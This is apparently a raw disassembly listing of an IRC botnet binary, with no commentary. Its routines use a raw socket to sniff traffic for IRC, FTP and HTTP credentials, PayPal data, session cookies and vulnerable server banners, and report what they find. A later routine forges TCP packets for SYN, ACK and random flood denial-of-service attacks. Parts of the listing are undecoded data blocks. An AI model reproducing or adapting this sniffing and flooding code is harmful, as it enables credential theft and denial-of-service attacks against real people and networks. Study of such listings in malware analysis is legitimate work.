		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
		dd 0C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 0D1E89056h
		dd 56022DDEh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4CAF2015h, 0FFF88300h, 15FF6475h, 4CAF08h, 4C858D50h
		dd 68FFFFFDh, 435798h, 9720E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
		dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch
		dd 3012E850h, 57590000h, 0B00C15FFh, 75FF004Ch,	9268E8D0h
		dd 5659FFFFh, 2DDE4FE8h, 0BB539002h, 434EB0h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h,	858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAF8Ch, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 8C68FFFEh
		dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 577C68FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 0AEA415FFh, 0B70F004Ch, 75FF50C0h, 15FFF4h, 50004CB0h
		dd 8B7F048Dh, 4EC4C504h, 34FF0043h, 434EA085h, 4C858D00h
		dd 68FFFFFDh, 435748h, 20068h, 0D5E85000h, 83000096h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 815FFFFh,	50004CAFh
		dd 43571C68h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB00C15h
		dd 0D075FF00h, 0FF90C9E8h, 905659FFh, 2DDCAFE8h
		db 2

; =============== S U B	R O U T	I N E =======================================



sub_412351	proc near		; CODE XREF: sub_412660+213p
					; sub_412660+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CDCE0, eax
		mov	eax, offset dword_4CDCE0
		retn
sub_412351	endp


; =============== S U B	R O U T	I N E =======================================



sub_412360	proc near		; CODE XREF: sub_412660+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41237A

loc_412376:				; CODE XREF: sub_412360+29j
					; sub_412360+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41237A:				; CODE XREF: sub_412360+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4123C2

loc_4123BE:				; CODE XREF: sub_412360+71j
					; sub_412360+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4123C2:				; CODE XREF: sub_412360+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a366	; "366 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin_0	; ":!login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin	; ":!Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412360	endp


; =============== S U B	R O U T	I N E =======================================



sub_412477	proc near		; CODE XREF: sub_412660+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412491

loc_41248D:				; CODE XREF: sub_412477+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412491:				; CODE XREF: sub_412477+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41248D
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124B7

loc_4124B3:				; CODE XREF: sub_412477+4Fj
					; sub_412477+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4124B7:				; CODE XREF: sub_412477+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412477	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124ED	proc near		; CODE XREF: sub_412660+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412507

loc_412503:				; CODE XREF: sub_4124ED+29j
					; sub_4124ED+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412507:				; CODE XREF: sub_4124ED+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset a220	; "220 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41253E

loc_41253A:				; CODE XREF: sub_4124ED+60j
					; sub_4124ED+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41253E:				; CODE XREF: sub_4124ED+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aPass_0	; "PASS	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_412574	proc near		; CODE XREF: sub_412660+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41258E

loc_41258A:				; CODE XREF: sub_412574+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41258E:				; CODE XREF: sub_412574+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41258A
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125B4

loc_4125B0:				; CODE XREF: sub_412574+4Fj
					; sub_412574+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4125B4:				; CODE XREF: sub_412574+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412574	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125FB	proc near		; CODE XREF: sub_412660:loc_412A25p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412615

loc_412611:				; CODE XREF: sub_4125FB+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412615:				; CODE XREF: sub_4125FB+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412611
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41263B

loc_412637:				; CODE XREF: sub_4125FB+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41263B:				; CODE XREF: sub_4125FB+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412637
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412660	proc near		; DATA XREF: sub_401ACD+427Co

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CAF88
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CAFF8
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C310
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CAFF4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412706
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_412706:				; CODE XREF: sub_412660+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CAFA0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41277C
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435AC8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412758
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h

loc_412758:				; CODE XREF: sub_412660+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB00C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26F0000h
		nop

loc_41277C:				; CODE XREF: sub_412660+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CAF20
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412802
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435A98
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4127DE
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h

loc_4127DE:				; CODE XREF: sub_412660+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB00C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h

loc_412802:				; CODE XREF: sub_412660+13Cj
		mov	esi, 200h

loc_412807:				; CODE XREF: sub_412660+1D6j
					; sub_412660+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CAF8C
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412807
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_412807
		cmp	[ebp+arg_0], 19h
		jz	short loc_412807
		cmp	edi, 6Eh
		jz	short loc_412807
		cmp	edi, 19h
		jz	short loc_412807
		push	[ebp+var_113AC]
		call	sub_412351
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+var_113A8]
		call	sub_412351
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412905

loc_4128D1:				; CODE XREF: sub_412660+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4128E8
		mov	byte ptr [eax],	20h

loc_4128E8:				; CODE XREF: sub_412660+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4128F0
		mov	byte ptr [eax],	20h

loc_4128F0:				; CODE XREF: sub_412660+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4128D1

loc_412905:				; CODE XREF: sub_412660+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_4129B8
		cmp	edi, 50h
		jz	loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412360
		test	al, al
		pop	ecx
		jz	short loc_41294C
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A64
		jmp	loc_4129E7
; ---------------------------------------------------------------------------

loc_41294C:				; CODE XREF: sub_412660+2C7j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412477
		test	al, al
		pop	ecx
		jz	short loc_412982
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A30
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------

loc_412982:				; CODE XREF: sub_412660+300j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4124ED
		test	al, al
		pop	ecx
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4359FC
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------

loc_4129B8:				; CODE XREF: sub_412660+2A9j
					; sub_412660+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412574
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412A25
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4359C4

loc_4129E7:				; CODE XREF: sub_412660+2E7j
					; sub_412660+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412807
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_412807
; ---------------------------------------------------------------------------

loc_412A25:				; CODE XREF: sub_412660+36Ej
		call	sub_4125FB
		test	al, al
		pop	ecx
		jz	loc_412807
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43598C
		jmp	short loc_4129E7
sub_412660	endp

; ---------------------------------------------------------------------------
byte_412A53	db 55h			; DATA XREF: sub_401ACD+6542o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 228E2E3h
		dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h,	50FFFFFFh
		dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
		dd 8D5014C4h, 0FFFB6C85h, 5AF468FFh, 0E8500043h, 8DCAh
		dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
		dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh
		dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
		dd 0FF8915E8h, 565959FFh, 0D4FAE890h, 5E5F022Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B08	proc near		; CODE XREF: ___:00412E7Fp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAEE4
		test	eax, eax
		jz	short loc_412B48
		xor	eax, eax
		jmp	loc_412E3B
; ---------------------------------------------------------------------------

loc_412B48:				; CODE XREF: sub_412B08+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB018
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412E33
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CAF54
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E29
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CAF74
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CAF74
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CAF74
		mov	[ebp+var_12], ax
		call	sub_41B8E2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CAF74
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CAF70
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C18
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------

loc_412C18:				; CODE XREF: sub_412B08+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C34
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------

loc_412C34:				; CODE XREF: sub_412B08+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C6C
		call	sub_41B8E2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41B8E2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl

loc_412C6C:				; CODE XREF: sub_412B08+10Ej
					; sub_412B08+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CAF74
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27A0000h
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 2790C12h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx

loc_412CBA:				; CODE XREF: sub_412B08+2E2j
					; sub_412B08+2F0j
		mov	[ebp+var_4], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAF74
		mov	[ebp+var_14], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAF74
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAF70
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAF74
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CAFD8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412DFD
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 2790C12h
		mov	eax, [ebp+var_18]
